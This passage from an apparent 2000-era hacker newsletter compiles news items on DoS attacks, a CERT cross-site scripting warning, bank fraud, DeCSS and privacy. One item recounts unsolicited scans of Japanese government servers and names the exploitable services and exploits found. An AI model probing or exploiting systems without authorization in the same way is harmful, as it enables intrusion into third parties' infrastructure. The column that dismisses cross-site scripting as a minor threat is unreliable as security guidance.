day, the offending user is back online accessing the Internet via another
ISP. Until the attack against Yahoo, the Federal Bureau of Investigation
(FBI) was not concerned over these attacks. To date, the FBI has not
managed to apprehend the perpetrator of a devastating DoS attack against
their own home page (www.fbi.gov). For one reason or another they were
seen as an annoyance, not a reason for loss of business. Law Enforcement
needs to take a bigger interest in DoS attacks and start to punish those
responsible. These types of attacks should take any competant law
enforcement agent a few hours of tracking and maybe a handful of
legitimate warrants.
Like the FBI, ISPs receiving these attacks need to take more proactive
steps in preventing DoS attacks. When they do occur, ISPs should also take
more time in tracking down the offending users and passing on the
information to appropriate law enforcement. Rather than silently
kicking them off the Internet for a day, taking a more active and public
stance showing that malicious activity will not be tolerated would have a
better effect. Those ISPs scared of retaliation need to remember that they
are in the best position to stop the attackers.
Last, the pathetic kids (literally and figuratively) committing these
attacks. In many cases, these attacks are launched with mystical scripts
written in foreign languages and just produce the desired affect. There is
no grace, no skill, and no intellect behind these attacks. You are
not a hacker and you do not deserve respect for your childish actions. You
are no better than the twisted individuals who spray a crowd of innocent
bystanders with a machine gun, only to nick your intended target. If you
can't express yourself better than a saturation attack, and can't deal
with being called a name or wronged somehow, seek help offline. You sorely
need it.
Article: Brian Martin (bmartin@attrition.org)
Images: Dale Coddington (dalec@attrition.org)
http://www.attrition.org
Copyright 2000 Brian Martin
@HWA
72.0 HNN: Cert Warning? : what me worry?? - buffer overflow article
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
CERT warning? What, me worry?
By: Coris Neme
The February 3 announcement by CERT of a major
security hole that affected all Web browsers so badly that
they recommended wiping all cookies and browsing only
known sites sounded bad--until I read the warning. I'm
writing this article for one reason and one reason only: to
dispel the FUD and hysteria of this ludicrous "warning".
I've seen e-mail virus hoaxes that I was more inclined to
panic about.
The supposed danger here, cross-site scripting, is that
malicious JavaScript code could appear on a Web page, a
newsgroup posting, or an e-mail. (Oh, my! The horror!)
You might want to restrain your shock; this isn't news.
Malicious scripts, unseen by the average user, have been
possible since scripting languages came into being. Poison
JavaScript and nasty Java applets are nothing new under
the sun. CERT is basically telling us that it's 1996 again.
To be fair, the warning goes into a little more detail: It
says that dynamically generated pages could launch
JavaScript code unintentionally. Mr. Obvious, it's time for
your wake-up call. Any page, dynamic or static or
anything in between, can contain malicious code. But if
you've disabled the scripting language that the code uses,
it's irrelevant where the code came from.
Another point the CERT warning raises is that this
so-called malicious code could hide in frame and snoop
data from another frame entirely. Sure, if your browser's
buggy enough to allow such a thing. Dozens of such
vulnerabilities have been removed from both Netscape and
Internet Explorer; I think the threat of one frame spying
on another is just about over. But hey, if it really was '96
all over again, they'd have an excellent point.
While we're on the subject, why do e-mail and news
clients even support JavaScript, anyway? There's no
legitimate purpose for it being there, after all, and it just
serves as a way for someone to exploit the next big
implementation bug that pops up. Had CERT posted a
recommendation that all future browsers remove scripting
capabilities from their e-mail and news clients, I think the
hacking community would have stood up and applauded.
Shall we eradicate our entire cookie file, only browse the
sites that are in our bookmarks, and never venture forth
onto the Web again because of a sudden warning about a
low-grade threat that's existed for nearly half a decade
and for which many of the exploits have already been
patched? The layman and the newbie are certainly being
led to think so. I simply can't believe their recommended
course of action--disable all scripting, don't browse
promiscuously, and get rid of all your cookies. (I usually
wipe most of my cookies anyway, but there are a few I
keep.)
I was surprised to see the news posted without so much
as an editorial about how outdated and overblown the
warning really is. This is 2000, not 1996. Malicious code is
still out there and yes, it still can get you; but about the
most that it can do is overload your system and force a
shutdown or a crash. (Poision JavaScript or Java that
causes a crash is usually a self-solving problem. Such
code can be found and eliminated; it's not stealthy.) It
can't (usually) cause one frame to spy on another. It
can't just arbitrarily steal data from your hard drive. It's
as dangerous and as harmless in static pages as in
dynamically-generated pages.
I think it would be nice to read the news Monday and see
that the media, instead of repeating the warning blindly,
was now telling the world that the hacking community had
denounced the CERT warning for the ridiculous paranoia it
really is. Or failing that, perhaps we could get the
blueprints to the time machine from whence this message
came, and in turn we could deliver our own Chicken Little
alerts about events that came and went many years ago.
(Brace yourselves; I feel a 1987 coming on.)
Coris Neme
@HWA
73.0 HNN: The Japanese Panic Project - buffer overflow article
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
The Japanese Panic Project
Findings of a simple fifteen-minute security
audit.
Written by YTCracker
Greetings from Colorado Springs.
As you have probably heard by now, the Japanese
government is panic-stricken following a few simple
defacements of their government's websites. Damage
control is quickly being administered to the sites in the
limelight, however the problems still stand.
McIntyre[of Attrition] and I were discussing the recent
news uproar concerning the aforementioned defacements.
He and I were curious if the Japanese government was
either extremely secure or extremely ignored. I mounted
up on my 486[running console slack, you may phear now],
fired up nmap and went at it, looking for anything that
didn't look right. Anything that warranted a deeper
investigation [checking the version of a daemon, running
an rpcinfo query on a box] I accomplished using basic
stock commands. Nothing extremely fancy or "zero-day",
just the basics.
A few minutes into my audit of some of the top-level
government websites, I discovered two vulnerablities on
the www.stat.co.jp website. Continuing on, I informed
McIntyre of my findings. Lo and behold, just a few hours
after this extremely shallow security audit, the
www.stat.go.jp site was defaced. I systematically ran
through the sites on this list [found here] and my findings
were pretty astounding. Many of these government sites
contain vulnerabilities[several-year-old ones such as statd
and qpop, along with newer vulnerabilities such as amd
and sadmind] and run comparitively outdated operating
systems [SunOS4]. I noticed gross violations of security
relating to proxy servers with open permissions. On one
site I noticed a cgi exploit dated about two years old.
More than half of the NT servers I surveyed were
exploitable by either eEye's stack bug or the
now-infamous remote data service [msadc.pl] exploit.
These scans [COMPLETELY non-intrusive ;)] were an eye
opener for me. I immediately asked myself why the
Japanese government hadn't been experiencing
defacements on a greater magnitude. I would assume
that, for the most part, the United States rash of
defacements was largely attributed to the fact that NT
was a popular choice among our government. It did take a
little more digging to find out what the Japanese servers
were vulnerable to. I seriously believe it's going to take a
lot more than the help of a few individuals to turn this up.
Why is this such a big deal? I have no idea. This sort of
thing happens every day at an exponential magnitude here
in the United States. My guess as to why the Japanese
government has been granted amnesty for so long by the
defacement community is probably the fact that defacers
didn't even really knew those sites existed. However, now
that these defacements have blown up and are in the
public eye, I feel it is a matter of time before others follow
suit. The preparedness level of the ITs involved seems
extremely low and it seems way too late to begin a crash
course in systems administration.
There is no real solution to this problem. Perhaps if
preventative measures are quickly put into action [short
of taking the sites offline], they have a good chance of
averting some of the danger. The surprising factor is that
in a fifteen minute period of goofing around, approximately
three-fourths of the sites I checked had some exploitable
feature. I informed who I could get a hold of. My fear is
that if someone had obviously malicious intentions[i.e. the
pro-Chinese, anti-Japanese hacktivist groups] and
conducted a much more in-depth audit of the systems,
they would find a lot more than I did.
For now, damage control and politics is all that I expect to
see for the next few days.
YTCracker(phed@felons.org)
(c)2000 YTCracker and sevenonenine
If you are the administrator of a Japanese government asset and
would like me to report my findings in regards to your system,
please don't hesitate to mail me at the address provided.
@HWA
74.0 HNN: Jan 31 Bulgarian Indicted for Cyber Crime
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William
Peter Iliev Pentchev, a native Bulgarian and former
Princeton University student, was indicted by a federal
grand jury in San Jose last Wednesday. He has been
accused of breaking into the computer system of a Palo
Alto e-commerce company and stealing aprox. 1,800
credit card numbers in December of 1998. The
unidentified company claimed damages of $100,000
after being forced to shut down their systems. If
convicted, Pentchev faces a maximum penalty of 17
years in prison.
San Jose Mercury News
http://www.mercurycenter.com/svtech/news/indepth/docs/hacker012700.htm
Posted at 8:53 p.m. PST Wednesday, January 26, 2000
Student charged with hacking
Fugitive: Prosecutors say he broke into Palo Alto firm, then fled to Bulgaria.
BY HOWARD MINTZ
Mercury News Staff Writer
A federal grand jury in San Jose on Wednesday indicted a former Princeton
University student suspected of hacking into the computer system of a Palo
Alto e-commerce company and stealing nearly 2,000 credit card numbers.
In the government's latest attempt to hunt down a computer hacker, federal
prosecutors brought charges against Peter Iliev Pentchev, a 22-year-old
native of Bulgaria who is believed to have fled the United States after
school officials confronted him about his computer activities.
According to the U.S. Attorney's office in San Jose, Pentchev left the
country in late 1998, shortly after the alleged hacking incident occurred.
Law enforcement officials believe Pentchev went to Bulgaria and were
unclear Wednesday what diplomatic obstacles there may be to returning him
to this country to face charges.
The four-count indictment charges Pentchev with violating federal computer
laws by hacking into an undisclosed Palo Alto company between Nov. 20 and
Dec. 19, 1998, stealing at least 1,800 credit card numbers, as well as
user names and passwords of that company's customers. The indictment does
not specify the company, and federal officials declined to name it.
But Assistant U.S. Attorney Mavis Lee, who is prosecuting the case, said
the hacking incident shut down one of the company's Web servers for five
days and caused enough chaos in its database that it cost the firm more
than $100,000 to restore its security system.
Authorities have no evidence that Pentchev used the credit card numbers to
commit fraud.
Federal law-enforcement officials do not believe there is a link between
Pentchev and a computer intruder who earlier this month attempted to
extort $100,000 from Internet music retailer CD Universe, claiming to have
stolen as many as 300,000 credit card numbers. The alleged extortionist
was suspected of operating somewhere in Eastern Europe.
That hacker began posting more than 25,000 allegedly stolen card numbers
on a web site Christmas Day. The site eventually was shut down, and
thousands of customers who had shopped at CD Universe canceled their
cards.
In the Bay Area case, investigators said they were able to trace the
computer intrusion to Pentchev because he left evidence in log files in
the company's computer system. ``He wasn't careful about mopping up after
himself,'' Lee said.
Princeton University officials confronted Pentchev about the allegations
in December 1998, and he disappeared shortly thereafter. If convicted,
Pentchev faces a maximum penalty of 17 years in prison.
Contact Howard Mintz at hmintz@sjmercury.com or (408) 286-0236.
@HWA
75.0 HNN: Jan 31: Online Banking Still Immature
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
MSNBC has a report that illustrates just how immature
online banking is. The real scary part is that even if you
don't use an online bank criminals can still use your
account information to steal your money. X.com, the
bank used in this example, says that they have fixed all
the problems.
MSNBC
http://www.msnbc.com/news/363440.asp
Online bank allowed easy scam Automatic withdrawals in the spotlight
as criminals stole with ‘help’ of legitimate finance Web sites By Bob
Sullivan MSNBC
Jan. 28 — One day in mid January, Imad Khalidi arrived at work at his auto
dealership in Maine to discover $21,000 had been removed from his company’s
bank account. It had gone to pay for merchandise ordered from Gucci in San
Francisco and was automatically deducted from Auto Europe’s account. That
began a hellish 10 days for the company, which was caught in the middle of
an online banking nightmare involving the newest Web bank, X.com. And it
was not the only case of misappropriated funds surrounding the Web site.
SOMEONE HAD GOTTEN hold of Auto Europe’s bank account
information and, after attempting a few fraudulent withdrawals, posted the
information on the Internet. “Use this account for your x.com and Wingspan
transfers,” the criminal wrote in an ominous post to a newsgroup after
citing the account numbers. “Account has millions of dollars in funds, and
can’t notice a mere US $25,000 a week debit. They get their statements
quarterly.” For the next 10 days, Khalidi said, there were four or five
automatic withdrawals attempted daily by criminals using X.com or online
banking competitor Wingspan. The original Gucci charge — and some of the
subsequent charges to the Portland, Maine, company’s accounts — were
funneled through online bill payment assistant CyberBills.com. CyberBills
acknowledged its system was used in the attempted fraud but declined to
offer details, citing an ongoing investigation. Wingspan did not
immediately return phone calls. In each case, the fraudulent charge was
reversed by the company’s local bank — but the charges did get through the
online companies, highlighting the security drawbacks that can come with
convenient Internet banking. “What’s most appalling is they said it ‘was a
designed feature.’ ” — ELIAS LEVY SecurityFocus.com X.com, which launched
in mid-December, came under scrutiny Friday from a security group when a
customer pointed out just how easy it was to trick the service into
stealing money from someone else’s bank account. Users opening an X.com
account were given the option to fund the account with a bank transfer,
and only had to supply a bank account number and routing number — printed
at the bottom of every check. This structure allowed X.com customers to
easily withdraw money from victims’ accounts, and they did. One bragged on
a newsgroup that he had lifted $4,500. The company, which added security
measures that stopped the scam Jan. 21, said it knows of only six bad
charges, totaling less than $10,000. CEO Bill Harris said there may be
more victims who have not yet noticed fraudulent charges. Word of the easy
money started to spread on Internet newsgroups in early January, well
before X.com addressed the flaw, as thieves bragged back and forth about
their successful swindling.
Harris conceded the company wasn’t aware of the cyber taunting. “I wouldn’t
at all be surprised if we weren’t aware of what was in those newsgroups,” he
said. The ease with which criminals could withdraw money from victims’
accounts disturbed Elias Levy, who runs SecurityFocus.com, an Internet
security information service. The Web site issued a release about
the problem on Friday. “What’s most appalling is they said it
‘was a designed feature,’ ” Levy said. The company wanted to make
online banking as simple as possible, so it allowed
depositors to skip a step like sending in a voided check to
verify their identity. “It was a calculated risk. Obviously they
calculated wrong.”
Harris said a series of new company policies make X.com safe;
it now only allows transfers between accounts held under the
same name, for example. He said the changes have been well
received by customers and stopped short of saying his company has
committed a serious security snafu. “I don’t think a mistake
was made,” he said. “If we had to do it all over again, I’m not
sure we would start without a canceled check procedure.” A
spokesperson for Cyberbills said customers must provide physical
proof they own an account before they are allowed to draw funds
from it to pay bills. But Khalidi was critical of X.com — and
Wingspan and CyberBills — for acting slowly in response to his
company’s crisis. “It took them more than one week (to stop the
criminal activity),” he said. “The only reason they knew we
were getting hit was because we told them.”
CyberBills disputes that, saying it kept the account
open during that time at Auto Europe’s request. The
company also claims to have discovered the scam itself
using “internal security procedures.”
He believes the scam artist posted the account information
on the Internet to flood it with fraudulent charges,
creating a smoke screen that would make tracking the
criminal harder for investigators. Auto Europe’s Net
experience should be a lesson to other businesses, he
said. Even if they have no dealings at all on the
Internet, they can still be a victim of an Internet scam.
“As long as you are vigilant you can protect yourself,” he
said. “We check our accounts every day.”
Have a tip about this or other online fraud? Write
to tipoff@msnbc.com
@HWA
76.0 HNN: Jan 31: E-Mail Scanning System In Progress
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by maierj
Lockheed Martin Energy Systems is progressing on the
Ferret project, an artificial-intelligence concept that's
being developed at the Y-12 nuclear weapons plant in
Tennessee. It is hoped that Ferret will help prevent the
inadvertent, accidental release of classified information
through email by scanning it for key words.
ABC News
http://abcnews.go.com/sections/tech/DailyNews/Ferrets_000126.html
Ferreting Out Spies
Program To Detect Classified Information In E-Mail
By Frank Munger
Scripps Howard News Service
K N O X V I L L E, Tenn., Jan. 26 — Work reportedly
is progressing toward an autumn pilot project
with Ferret, an artificial-intelligence concept
that’s being developed at the Y-12 nuclear
weapons plant to scan e-mail for classified
information.
“Right now we seem to be pretty much on track,” said
Peter Kortman, program manager at Lockheed Martin
Energy Systems, the contractor operating Y-12 for the
federal government.
Still in Initial Stages
“We’re still in the initial stages, and the tough issues are
being ferreted out (pun intended, presumably),” Kortman
said.
One of the issues being addressed is how Ferret
(formerly called Pherret) deals with the informal lingo
sometimes used in e-mail. Apparently the system does
quite well with the language used in formal documents and
technical reports.
The initial use for Ferret would be to scan reports or
messages that involve information related to nuclear
weapons. It would help ensure that the information to be
released freely and publicly does not contain classified
matter.
Interestingly, the Ferret system can only be used on
classified computer systems, according to Kortman.
Why?
Kortman explains: “In order to detect classified
information, you have to have a pretty good idea of what
it is. Therefore, that means the Ferret structure and
knowledge base is really classified.”
Therefore, if Ferret was set up on an unclassified
system, some clever person might be able to ask
questions, play with information and phrase things
differently until ultimately concluding — through trial and
error — that certain items are classified.
Determining Ferret Likes, Dislikes
“You could determine from your questions what Ferret
likes and what Ferret doesn’t like,” Kortman said.
One of the time-consuming tasks associated with a
prototype system like Ferret is feeding it information to
help develop a knowledge base. That involves going rule
by rule in classification guides, topic by topic, trying to
incorporate as many descriptions of the same information
as possible.
Once that information is there, however, Ferret has the
capability to interpret and identify much, much more in
terms of concepts and word relationships.
“We have a weapons expert working with us ... and
using his experience and expertise to ask Ferret different
types of questions,” Kortman said.
It’s impossible, of course, to make a system foolproof
because there are so many ways of saying things, and
Ferret won’t break down codes and muzzle spies. It’s
main task is to help prevent the inadvertent, accidental
release of classified information.
But this little slice of artificial intelligence is expected to
do that task at least as well as some of the plant’s top
classification reviewers and probably do it a lot faster.
“What we’re finding is that Ferret does remarkably
well,” Kortman said. “I’m very happy with it.”
In a recent issue of Lockheed Martin Today, the
developers of Ferret offered a simple description of how
the system works:
Protecting Classified Recipes
Suppose you run a restaurant and want to protect the fact
that the secret ingredient in your hugely popular coffee
pastries is cappuccino.
In making up a new menu, your assistant pens this
description of the pastries: “Our chef highly recommends
his deliciously moist chocolate cake imbued with the
richness and warmth of strong, creamy coffee.” Makes
you want one on the spot, but would Ferret like it? Let’s
see.
Ferret would “know” that cake is a pastry. It also
would know that cappuccino is generally espresso with
extra milk or cream and chocolate added. It associates
“creamy” with extra cream or milk, and it is reasonably
sure, in a restaurant context, that “strong” and “coffee”
together implies “espresso.”
Voila! Ferret concludes that your menu suggests pastry
with cappuccino and, hence, that it contains “classified
information.” Send that menu back to the kitchen!
@HWA
77.0 HNN: Jan 31: USA Today Headlines Changed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
While this was not a web page defacement, similarities
can be drawn. Boston, New York, Washington, Denver
and San Francisco had some copies of the USA Today
paper wrapped in a fake masthead. The fake front page
read USA Decay and had headlines like "Pentagon to
Throw Bombs Away," and "Defense, Education
Departments to Merge." A peace activist organization
known as Shiftdough.org claimed responsibility.
Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500160075-500200480-500894258-0,00.html
Group puts fake front page on USA Today
Copyright © 2000 Nando Media
Copyright © 2000 APonline
By BRIGITTE GREENBERG
WASHINGTON (January 27, 2000 6:35 p.m. EST http://www.nandotimes.com) -
Some readers who bought copies of USA Today on Thursday did double-takes
after a group of peace activists wrapped some papers in a fake front page
with the masthead: "USA Decay."
Officials with USA Today said they did not know how many streetside
newspaper boxes had been targeted or how many newspapers were affected,
but the group claimed to have hit boxes in nine cities, including Boston,
New York, Washington, Denver and San Francisco.
The organization that claimed responsibility calls itself Shiftdough.org.
In a press release, the group described its members as a "collection of
activists who call for shifting dough out of the Pentagon budget and into
human needs," such as education, health care and the environment.
The release gave no information on how to contact the members, and on the
Web site, they acknowledge trying to conceal their identities. The site is
hosted by a Burlington, Vt., company and is registered to Michael Dorfman
of Floro, Norway.
"I set up the Web site and put together the list of the links. That was my
contribution, but I was not involved at all in this newspaper action,"
Dorfman said Thursday when contacted by phone. "Shiftdough is kind a loose
affiliation of activists. I definitely support what it stands for."
But Dorfman said he did not know how many people were members of the
group, how many newspaper boxes had been hit, or who was responsible for
altering the newspapers.
Bob Dubill, executive editor of USA Today, said the newspaper's lawyers
were checking whether the group's action was a violation of any state or
federal laws. He said he learned of the mock pages from readers and
employees.
"We're looking into the matter," said Dubill, declining to comment
further.
The fake front page, made to resemble the real thing, probably would not
have fooled anyone for long. One headline read "Pentagon to Throw Bombs
Away," and another was "Defense, Education Departments to Merge." The
"Newsline section" of the real paper was renamed "Newslime."
The spoof of the newspaper also offered the following travel tip
"Call your travel agent to see if your destination country is
currently in the process of being bombed by the USA."
@HWA
78.0 HNN: Jan 31: @Stake and L0pht
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
The merger of hacker think tank L0pht Heavy industries
with security consulting company @Stake Inc., is still
making news. CNN has some video with a rare look
inside the L0pht laboratories, they ask the question of
whether L0pht has 'sold out?' (I guess we will just have
to wait and see.)
CNN
http://www.cnn.com/2000/TECH/computing/01/27/hackers.t_t/index.html
Is L0pht selling out?
January 27, 2000
Web posted at: 3:34 p.m. EST (2034 GMT)
(CNN) -- The L0pht Heavy Industries hacker
think-tank made headlines recently, announcing
it was going corporate.
The group will join with some high-tech
executives to form @Stake, a computer security
services provider. CNN Science Correspondent Ann Kellan checks in with
L0pht and wonders if the corporate image will change their lofty goals.
(Go to site for videstream.)
@HWA
79.0 HNN: Jan 31: Book Review: Database Nation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Sarge
Simson Garfinkel's "Database Nation: The Death of
Privacy in the 21st Century." says that capitalism, the
free market, advanced technology, and the unbridled
exchange of electronic information is assaulting the
privacy of American citizens. (Definitely an eye opener.)
Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500160969-500202162-500892705-0,00.html'
Database Nation
http://www.databasenation.com/home.htm
Nando;
(Site spewed raw HTML data at me, if anything is messed up blame me, k? k. - Ed)
(January 30, 2000 12:14 a.m. EST
- A few days ago, I picked up a new computer modem at a local retailer.
As the sales clerk was preparing a receipt, she asked for my Social
Security number. When I asked her why she needed that, she told me it
was "policy." I politely told her that I did not want to give it to
her. She seemed surprised and then dashed away to confer with a
superior. When she returned, she told me my number would not be
needed.
The sales clerk had technically not done anything illegal - she had
just asked for my Social Security number. If I had given it to her, her
company, part of a national chain, would have had access to scads of
information about me that has nothing to do with computer modems, but
that they might have been able to sell to other businesses eager for
details on my credit history and buying habits.
It's just this kind of "policy" that is at the heart of Simson
Garfinkel's "Database Nation: The Death of Privacy in the 21st
Century." Garfinkel, who wrote about technology for the
Christian Science Monitor in the early 1990s, argues convincingly
that our privacy is under assault from a variety of sources, including
government agencies, talented computer-geek teens next door (or in
Timbuktu!), but most consistently from "capitalism, the free market,
advanced technology, and the unbridled exchange of electronic information."
O'Reilly Books, the publisher of "Database Nation," compares it
to Rachel Carson's "Silent Spring," the book that almost
single-handedly started the environmental movement in the '60s.
Garfinkel is not the elegant writer that Carson is, but it's still not
a bad comparison. While issues of privacy have been debated far more
today than environmental concerns were in Carson's era, Garfinkel is
the first to decisively and persuasively marshal all the information
to show how privacy is under constant attack, often by people who
claim to have our best interests at heart.
It's this emphasis on the role that capitalism and the free market
play in diminishing our privacy in the name of making money that will
no doubt upset the most people. But as Garfinkel writes, the evidence
can't be ignored. These days, advertisers, venture capitalists, and
marketers demand more and more personal information about customers
before they'll advertise in the media, or back a new start-up, or
invest in an established company. Consequently, we're being asked for
more and more personal information from corner stores, online
retailers and mail-order firms.
Sometimes that information is gathered without our permission, as
shown by the recent Electronic Privacy Information Center report on
online retailers. (Not a single firm in the top 100 online retailers
had adequate privacy protection practices, and several dozen employed
ads that track your movements online even after you've left their
site.)
What I enjoyed most about "Database Nation" was Garfinkel's
ability to write about privacy issues without ranting or raving. The
picture he paints is clear, sharp, and focused - a wake-up call rather
than a fire alarm. And unlike many authors who only point to problems,
Garfinkel offers sound advice about alternatives to many
privacy-damaging practices.
For instance, he acknowledges the importance of protecting the
public against acts of terrorism. But he says this can be done without
infringing on the rights of private citizens or casting a wide net of
suspicion over an entire ethnic or religious group. What is required,
he writes, is careful planning and thoughtfulness about difficult
issues - something most government and private organizations are not
willing to do.
But Garfinkel's most interesting and probably most controversial
thesis is that government, rather than being the Big Brother of
George Orwell's "1984," is the average citizen's best friend in the fight
to protect privacy - and that vigorous, muscular legislation, as opposed
to voluntary standards, is the best way to protect citizens' rights.
<P> Garfinkel's book comes at a good time. Many experts believe that
privacy and security issues will ultimately dwarf the Y2K hysteria of
the past two years. "Database Nation" gives a way to detect the
privacy land mines in our culture and ultimately disarm them.
DATABASE NATION. By Simson Garfinkel. O'Reilly Books. 320 pages, $24.95
Tom Regan is associate editor of The Christian Science Monitor's
Electronic Edition. You can e-mail him at tom@csmonitor.com
-=-
Database Nation;
http://www.databasenation.com/home.htm
The book.
@HWA
80.0 HNN: Feb 1st: Interview with DeCSS Author
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Apocalypse Dow
Jon Johansen, the 16-year-old Norwegian member of the
Masters of Reverse Engineering (MoRE) and co-author of
DeCSS has given an interview to "Linux World".
Definitely a good interview that sheds some light on the
whole case. (Especially liked the part about him backing
up the source code to his cell phone.)
CNN
http://www.cnn.com/2000/TECH/computing/01/31/johansen.interview.idg/index.html
OpenDVD.org
http://www.opendvd.org
CNN:
(Interview)
Meet the kid behind the DVD hack
January 31, 2000
Web posted at: 11:03 a.m. EST (1603 GMT)
by J.S. Kelly
(IDG) -- On Monday, January 24,
authorities in Norway searched the
home of Jon Johansen, a 16-year-old
Norwegian member of the Masters of
Reverse Engineering (MoRE) -- the
group which created the DeCSS DVD playback utility for Linux. Jon and his
father Per Johansen have both been indicted by Norway's Department of
Economic Crime.
LinuxWorld talked to Jon about DeCSS, the investigation, the controversy
-- and about why he feels that this case is at the same time so ridiculous and
so important.
LinuxWorld: How did this whole thing start? How did you get involved
with DVD and DeCSS?
Jon Johansen: Well, I got involved with DVD about two years ago. I
bought my first DVD-ROM and an MPEG-2 decoder card. And, about at
the end of September last year, I got in contact with a German computer
programmer and a Dutch computer programmer, and we decided that it was
time to add DVD support to Linux -- and, of course, to other operating
systems, such as FreeBSD.
LinuxWorld: Had you expected any problems
like this when you set about to make the player?
Jon Johansen: We knew that they would probably go after someone. But
when [Norwegian authorities] visited me yesterday with a search warrant, I
really hadn't expected them to, because it's been about two or three months
now since [the subject] first appeared in the media and, well, to me, that's a
pretty long time.
LinuxWorld: You removed the code from
your Webpages when they asked you to,
and have been cooperating with what they
have asked of you, is that right?
Jon Johansen: Actually, I was only linking
[to the source code] and they wanted me to
remove the link -- which I did, so that I
could think it over. And then the link
appeared again on my Website at the end
of the week.
LinuxWorld: Did they question you at your
house?
Jon Johansen: No. They took me to the
local police station. But my father was sick,
so they questioned him here at home.
LinuxWorld: But they just took you in for
questioning -- they didn't arrest you or
anything like that?
Jon Johansen: Well, the biggest Norwegian newspaper regarded this as an
arrest, since they hadn't told us that they were coming and they brought me
in. So the biggest Norwegian newspaper looked upon that as an arrest.
LinuxWorld: But did they give you a choice to not go in for questioning?
Jon Johansen: Well, of course I do have the right to have an attorney
present. So I [could have] told them that I did not want to do it without an
attorney, [and] they would have had to call my attorney and schedule an
appointment.
LinuxWorld: And you didn't do that.
Jon Johansen: No, I didn't do that.
LinuxWorld: Why?
Jon Johansen: Basically, because I didn't have anything to hide. So I
decided to cooperate.
LinuxWorld: The code that you wrote -- now, is it called DeCSS or is it
CSS-auth?
Jon Johansen: It's called DeCSS.
LinuxWorld: OK. Because I've seen conflicting media reports on that, and
other things. Like, some say that you are 15, others say you are 16.
Jon Johansen: I'm 16 now, I was 15 when it happened ... and the
encryption code wasn't in fact written by me, but written by the German
member. There seems to be a bit of confusion about that part.
LinuxWorld: The other two people that you had worked with to make the
player are remaining anonymous -- is that right?
Jon Johansen: Yes, that is correct.
LinuxWorld: Do you think they will try to find out who they are from the
data on your computer?
Jon Johansen: Yes, probably. They also asked what I knew about them.
But I don't have the identity of any of them. I only had the nicks that they
used on Internet Relay Chat.
LinuxWorld: And did you give those up?
Jon Johansen: Well, lately they have been changing nicks from time to
time. So I gave one of the nicks they had used before.
LinuxWorld: Do you know why they want to remain anonymous?
Jon Johansen: They are both a lot older than me, and they are employed.
So I guess they just didn't want the publicity, and they were perhaps afraid
of getting fired.
LinuxWorld: And why is your father involved in this?
Jon Johansen: Basically because he owns the domain [at which] my
Webpages were located.
LinuxWorld: And how do your parents feel about this whole thing?
Jon Johansen: They consider it [to be] just as stupid as I do. The charge is
totally off-topic. It doesn't have anything to do with reality.
LinuxWorld: Do you know why they took your cell phone?
Jon Johansen: I asked them why, and they said that they considered it to
be so advanced that they had to take it in, because it was a Nokia 91-10.
And I did have, in fact, a backup of the source on it.
LinuxWorld: And do you know what is going to happen next?
Jon Johansen: They are currently investigating, and I still haven't received
my computers back. So I have ordered a new one today, which I will be
receiving on Friday. Which is a bit too late, because ABC News is coming
tomorrow, and I was supposed to demonstrate DVD playback under Linux.
So I'm going to call some people now and try to get hold of a computer with
a DVD-ROM and get Linux installed on it.
LinuxWorld: So, can DeCSS in fact in any way be used for pirating? I
mean, I realize that isn't the purpose for which it was written.
Jon Johansen: Well, yes, it can be used for pirating. Because you can
decrypt a DVD disk and put it on your hard drive and then you can convert
it, say, to VCD and then post it on the Internet. But tools to do that had
already been available on the Internet, long before DeCSS, which was also
a complete digital solution which gave you the same quality. So DeCSS
didn't introduce anything new for pirating and had already been available.
LinuxWorld: So why do you think they are going after you, and not the
authors of the other tools?
Jon Johansen: Well, the authors of the other tools are, as far as I know,
anonymous. And [in] the charge, they say that the encryption is copy
protection. But that's not correct at all. Anyone with a little computer
experience knows that anything can be copied bit-by-bit with the right
equipment.
LinuxWorld: And the authors of the other tools didn't break the
encryption? Those previous tools had been written for the Windows
platform, is that right?
Jon Johansen: Yes. There was one tool, I think it was called DVD-rip,
which I believe actually hacked in to the Xing DVD player and then, when
the Xing DVD player had decrypted the MPEG stream, the DVD-rip utility
dumped that stream to disk and you had yourself an unencrypted DVD
movie.
LinuxWorld: Well, it seems then all the more that they should be going after
those other authors.
Jon Johansen: I guess it is because those other tools haven't received any
media attention. But perhaps they don't even know about them -- but I
would think that they do, because they are not that stupid.
LinuxWorld: Why did you decide to come forward and to not to remain
anonymous?
Jon Johansen: We discussed it in the group and they thought it was OK,
and I think the first reporter I talked to was from Wired. I think it was
Declan [McCullugh], and he asked me if he could publish my name, and
since we had already talked it over in MoRE, I said yes.
LinuxWorld: Are you sorry now that you did?
Jon Johansen: Not really, because I think the fight we are now fighting is a
very important fight for free speech and for the open source community.
LinuxWorld: Why is it so important?
Jon Johansen: Basically, if reverse engineering is banned, then a lot of the
open source community is doomed to fail. Because [you need to
reverse-engineer] when creating software for compatibility with, for
example, Microsoft Windows. For example, Samba was totally dependant
on reverse engineering. Of course, the whole computer industry was allowed
to reverse-engineer IBM's BIOS.
LinuxWorld: What was your reaction to the injunctions in the US?
Jon Johansen: I was a bit surprised, but then I read about how EFF [the
Electronic Frontier Foundation] had presented the defense. And, if what I
read on Slashdot about that was true, then I don't understand how exactly
EFF could have argued that way.
LinuxWorld: Why?
Jon Johansen: Well, what I read on Slashdot was that they basically said
that the encryption was bad, and it was kind of their fault. And I don't
understand why they used those arguments.
